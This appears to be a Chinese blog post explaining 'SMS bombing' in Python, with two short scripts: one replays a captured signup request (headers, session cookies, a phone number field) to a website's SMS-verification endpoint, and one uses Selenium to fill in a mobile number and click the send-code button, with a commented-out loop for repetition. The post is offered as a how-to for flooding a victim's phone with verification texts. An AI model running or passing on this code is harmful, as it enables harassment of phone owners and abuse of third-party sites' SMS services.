python 短信轰炸原理及实现

一、利用requests.post

利用抓包工具,找到post地址,传入DATE,发送请求。

import requests

headers = {"Accept":"application/json, text/javascript, */*; q=0.01",
           "Accept-Encoding":"gzip, deflate",
           "Accept-Language":"zh-CN,zh;q=0.9",
           "Connection":"keep-alive",
           "Content-Length":"27",
           "Content-Type":"application/x-www-form-urlencoded; charset=UTF-8",
           "Cookie":"_session=cegfl04ut0363rpqehdhqenqr7; _csrf=79df57ca888fafac61b32950bbaee1a64fa8d6c745484794404274807009f80fa%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%22fQ7wzHJOwgrNg1MtNUwTCXIMnggE8gVy%22%3B%7D; Hm_lvt_2269453d53c958695d6250e14022824e=1548577814; _ga=GA1.2.1338821284.1548577814; _gid=GA1.2.360649130.1548577814; LXB_REFER=www.baidu.com; Hm_lpvt_2269453d53c958695d6250e14022824e=1548577834; o_cookie=58d9a6d0fe653cd715985950aa80c661efc85cf840763042642a1567ac7a5deea%3A2%3A%7Bi%3A0%3Bs%3A8%3A%22o_cookie%22%3Bi%3A1%3Bs%3A32%3A%22dc8aa8f39eef9ca9487140f1b3e07588%22%3B%7D",
           "Host":"www.shushi100.com",
           "Origin":"http://www.shushi100.com",
           "Referer":"http://www.shushi100.com/signup",
           "User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36",
           "X-Requested-With":"XMLHttpRequest"}

url = 'http://www.'
dates = {"mobile":"186XXXXXXXX","type":"reg"}



r = requests.post(url,headers=headers,data=dates)
print(r.status_code)

二、利用selenium

from selenium import webdriver
import time

driver = webdriver.Chrome()

# for i in range(10):

driver.get("http://www.s")
driver.find_element_by_id("mobile").send_keys("186XXXXXXXX")
driver.find_element_by_id("Smssend").click()
time.sleep(2)


你可能感兴趣的:(python 短信轰炸原理及实现)